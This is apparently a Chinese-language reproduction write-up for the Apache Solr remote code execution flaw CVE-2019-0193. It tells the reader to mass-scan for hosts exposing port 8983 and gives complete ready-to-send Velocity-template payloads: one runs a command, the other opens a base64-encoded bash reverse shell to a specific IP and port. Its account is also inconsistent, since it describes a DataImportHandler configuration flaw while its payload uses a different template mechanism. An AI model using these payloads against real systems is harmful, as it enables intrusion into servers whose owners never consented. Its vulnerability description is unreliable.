一.漏洞描述
近日,Apache官方發(fā)布Apache Solr遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可選模塊DataImportHandler 中,DataImportHandler是用于從數(shù)據(jù)庫或其他源提取數(shù)據(jù)的常用模塊,該模塊中所有DIH配置都可以通過外部請(qǐng)求的dataConfig參 數(shù)來設(shè)置,由于DIH配置可以包含腳本,因此該參數(shù)存在安全隱患。攻擊者可利用dataConfig參數(shù)構(gòu)造惡意請(qǐng)求,實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行,請(qǐng)相關(guān)用戶盡快升級(jí)Solr至安全版本,以確保對(duì)此漏洞的有效防護(hù)。
二.復(fù)現(xiàn)操作
1.批量搜一下開了8983端口的主機(jī)

2.訪問目標(biāo)主機(jī),找到漏洞的位置,點(diǎn)到 core selector那個(gè)按鈕,burp抓包攔截


3.發(fā)送到repeater,把上圖請(qǐng)求的admin 改為item(這里注意對(duì)應(yīng)的模塊),后面再加config 查看是否有其配置文件,如果沒有配置文件,,則說明可能目標(biāo)不存在這種漏洞,這也是一種檢測(cè)方式?

4.因?yàn)樵撀┒此绊懙哪K可以利用外部的請(qǐng)求來修改,所以利用惡意的請(qǐng)求payload去修改配置,修改了配置過后,就導(dǎo)致可以執(zhí)行惡意的腳本,從而發(fā)起帶有惡意代碼的請(qǐng)求。

5.修改了配置過后,便可以帶上惡意腳本的請(qǐng)求去發(fā)起訪問了,從而導(dǎo)致了遠(yuǎn)程代碼執(zhí)行,請(qǐng)求路徑內(nèi)容如下圖payload:select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27JAVA.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end?

6.遠(yuǎn)程代碼執(zhí)行成功
7.反彈shell payload:
linux 反彈shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中為什么要base64編碼不太清楚...)
http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
三.漏洞特征
端口:8983,http
路徑:/solr/item/config
四.影響范圍
受影響版本 :
Apache Solr < 8.2.0